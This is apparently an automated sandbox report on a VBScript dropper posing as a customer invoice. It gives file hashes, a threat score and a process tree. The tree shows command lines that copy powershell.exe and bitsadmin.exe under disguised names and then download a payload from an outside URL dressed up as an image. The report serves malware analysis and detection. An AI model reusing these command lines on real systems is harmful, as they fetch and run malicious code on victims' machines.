Analysis
-
max time kernel
147s -
max time network
58s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
13-07-2020 07:18
Static task
static1
Behavioral task
behavioral1
Sample
Fatt_cliente_00453830309.vbs
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Fatt_cliente_00453830309.vbs
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
Fatt_cliente_00453830309.vbs
-
Size
3KB
-
MD5
62b3b8b5c2ceacaee5e3e22939c45a43
-
SHA1
3a579492c1c373cb61ced3c7a88cffb13d73e1ac
-
SHA256
77e7a4deb92496d0954a6fd03cece71dfd53bc774cfb89dc16410c91cf09f598
-
SHA512
0b969e6f0163f22402bfb31f424ff33b8985a1406fd65936e4239b31ba1b75501cbea31bd944cd02c97d88e707e08097b83b8b258e2352b4f92286e09fac93d1
Score
8/10
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
WScript.exedescription pid process target process PID 3768 wrote to memory of 420 3768 WScript.exe cmd.exe PID 3768 wrote to memory of 420 3768 WScript.exe cmd.exe PID 3768 wrote to memory of 736 3768 WScript.exe cmd.exe PID 3768 wrote to memory of 736 3768 WScript.exe cmd.exe PID 3768 wrote to memory of 828 3768 WScript.exe FeUgzu.exe PID 3768 wrote to memory of 828 3768 WScript.exe FeUgzu.exe PID 3768 wrote to memory of 828 3768 WScript.exe FeUgzu.exe -
Executes dropped EXE 1 IoCs
Processes:
FeUgzu.exepid process 828 FeUgzu.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_00453830309.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3768 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zFeUgzu.exe2⤵PID:420
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\FeUgzu.exe2⤵PID:736
-
C:\Users\Admin\AppData\Roaming\FeUgzu.exe"C:\Users\Admin\AppData\Roaming\FeUgzu.exe" /transfer DQeUoq /download https://sheyenneweber.com/webol/00453830309/uk.jpg C:\Users\Admin\AppData\Roaming\uk.jpg2⤵
- Executes dropped EXE
PID:828
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\FeUgzu.exe
-
C:\Users\Admin\AppData\Roaming\FeUgzu.exe
-
memory/420-1-0x0000000000000000-mapping.dmp
-
memory/736-2-0x0000000000000000-mapping.dmp
-
memory/828-4-0x0000000000000000-mapping.dmp
-
memory/3768-0-0x0000023903C50000-0x0000023903C54000-memory.dmpFilesize
16KB